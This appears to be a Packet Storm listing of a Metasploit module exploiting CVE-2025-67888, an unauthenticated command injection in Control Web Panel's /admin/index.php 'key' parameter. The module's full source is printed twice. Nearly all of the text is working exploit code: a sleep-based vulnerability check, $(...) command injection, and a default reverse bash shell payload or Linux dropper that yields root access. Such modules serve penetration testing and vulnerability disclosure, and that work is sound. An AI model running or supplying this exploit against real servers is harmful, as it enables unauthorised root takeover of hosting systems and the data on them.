Description
Control Web Panel CWP versions less than or equal to 0.9.8.1208 are vulnerable to unauthenticated OS command injection. User input passed via the "key" GET parameter to /admin/index.php when the "api" parameter is set is not properly sanitized before...
Basic Information
ID
PACKETSTORM:213897
Published
Jan 14, 2026 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
unauthenticated OS command injection. User input passed via the
"key" GET parameter to /admin/index.php (when the "api" parameter is set)
is not properly sanitized before being used to execute OS commands.
This can be exploited by unauthenticated attackers to inject and execute
arbitrary OS commands with the privileges of the root user on the web server.
Successful exploitation usually requires "Softaculous" and/or "SitePad"
to be installed through the Scripts Manager.
},
'Author' => [
'Lukas Johannes MΓΆller', # Metasploit module
'Egidio Romano' # Vulnerability discovery
],
'References' => [
['CVE', '2025-67888'],
['URL', 'https://karmainsecurity.com/KIS-2025-09'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
['URL', 'https://control-webpanel.com']
],
'DisclosureDate' => '2025-12-16',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_ALL,
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_ALL,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x00\x20"
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(2031)
])
end
def check
sleep_time = rand(5..10)
print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(sleep #{sleep_time})"
}
)
end
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")
return CheckCode::Unknown('No response from server.') unless res
return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time
CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(#{cmd})"
}
)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
unauthenticated OS command injection. User input passed via the
"key" GET parameter to /admin/index.php (when the "api" parameter is set)
is not properly sanitized before being used to execute OS commands.
This can be exploited by unauthenticated attackers to inject and execute
arbitrary OS commands with the privileges of the root user on the web server.
Successful exploitation usually requires "Softaculous" and/or "SitePad"
to be installed through the Scripts Manager.
},
'Author' => [
'Lukas Johannes MΓΆller', # Metasploit module
'Egidio Romano' # Vulnerability discovery
],
'References' => [
['CVE', '2025-67888'],
['URL', 'https://karmainsecurity.com/KIS-2025-09'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
['URL', 'https://control-webpanel.com']
],
'DisclosureDate' => '2025-12-16',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_ALL,
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_ALL,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x00\x20"
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(2031)
])
end
def check
sleep_time = rand(5..10)
print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(sleep #{sleep_time})"
}
)
end
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")
return CheckCode::Unknown('No response from server.') unless res
return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time
CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(#{cmd})"
}
)
end
end